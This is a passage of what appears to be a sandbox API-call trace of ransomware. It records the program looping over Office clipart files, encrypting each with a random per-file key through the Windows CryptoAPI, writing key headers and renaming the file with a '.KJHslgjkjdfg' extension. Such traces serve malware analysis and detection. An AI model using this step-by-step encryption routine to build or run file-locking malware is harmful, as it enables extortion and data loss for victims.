Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.836] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.836] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.866] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.866] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.866] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.866] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.866] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.866] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.866] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.866] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.867] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6b0, lpOverlapped=0x0) returned 1 [0155.867] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6b0) returned 1 [0155.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.867] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6b0, lpOverlapped=0x0) returned 1 [0155.867] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.867] SetEndOfFile (hFile=0x114) returned 1 [0155.870] GetProcessHeap () returned 0x2a0000 [0155.870] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.870] GetProcessHeap () returned 0x2a0000 [0155.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.kjhslgjkjdfg")) returned 1 [0155.872] CloseHandle (hObject=0x114) returned 1 [0155.872] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0155.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.873] GetProcessHeap () returned 0x2a0000 [0155.873] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.873] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.873] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0155.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.985] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.985] GetProcessHeap () returned 0x2a0000 [0155.986] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.986] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.986] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.986] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.986] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.986] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.986] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.986] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.987] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20ae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x20ae, lpOverlapped=0x0) returned 1 [0156.048] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20b0, dwBufLen=0x20b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20b0) returned 1 [0156.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.048] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x20b0, lpOverlapped=0x0) returned 1 [0156.048] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0156.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.048] SetEndOfFile (hFile=0x114) returned 1 [0156.051] GetProcessHeap () returned 0x2a0000 [0156.051] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0156.051] GetProcessHeap () returned 0x2a0000 [0156.051] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0156.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.kjhslgjkjdfg")) returned 1 [0156.052] CloseHandle (hObject=0x114) returned 1 [0156.052] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0156.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0156.053] GetProcessHeap () returned 0x2a0000 [0156.053] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0156.053] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0156.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0156.053] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0156.053] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0156.053] GetProcessHeap () returned 0x2a0000 [0156.053] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0156.053] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0156.053] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0156.053] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0156.125] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0156.125] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0156.125] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0156.126] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0156.126] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0156.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0156.126] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0156.126] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.126] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1370, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1370, lpOverlapped=0x0) returned 1 [0156.179] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370, dwBufLen=0x1370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370) returned 1 [0156.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.179] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1370, lpOverlapped=0x0) returned 1 [0156.179] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0156.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.179] SetEndOfFile (hFile=0x114) returned 1 [0156.182] GetProcessHeap () returned 0x2a0000 [0156.182] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0156.182] GetProcessHeap () returned 0x2a0000 [0156.182] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0156.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.kjhslgjkjdfg")) returned 1 [0156.183] CloseHandle (hObject=0x114) returned 1 [0156.184] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0156.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0156.185] GetProcessHeap () returned 0x2a0000 [0156.185] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0156.185] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0156.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0156.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0156.375] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0156.375] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0156.375] GetProcessHeap () returned 0x2a0000 [0156.375] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0156.375] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0156.375] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0156.375] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0156.375] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0156.375] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0156.375] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0156.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0156.376] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0156.376] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0156.376] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0156.376] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.376] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x31f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x31f4, lpOverlapped=0x0) returned 1 [0156.487] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3200, dwBufLen=0x3200 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3200) returned 1 [0156.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.487] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3200, lpOverlapped=0x0) returned 1 [0156.487] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0156.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x32d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.487] SetEndOfFile (hFile=0x114) returned 1 [0156.490] GetProcessHeap () returned 0x2a0000 [0156.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0156.490] GetProcessHeap () returned 0x2a0000 [0156.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0156.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.kjhslgjkjdfg")) returned 1 [0156.491] CloseHandle (hObject=0x114) returned 1 [0156.492] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0156.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0156.493] GetProcessHeap () returned 0x2a0000 [0156.493] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0156.493] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0156.493] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0156.493] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0156.493] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0156.493] GetProcessHeap () returned 0x2a0000 [0156.493] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0156.493] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0156.493] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0156.493] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0156.642] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0156.642] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0156.642] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0156.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0156.642] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0156.642] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0156.642] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 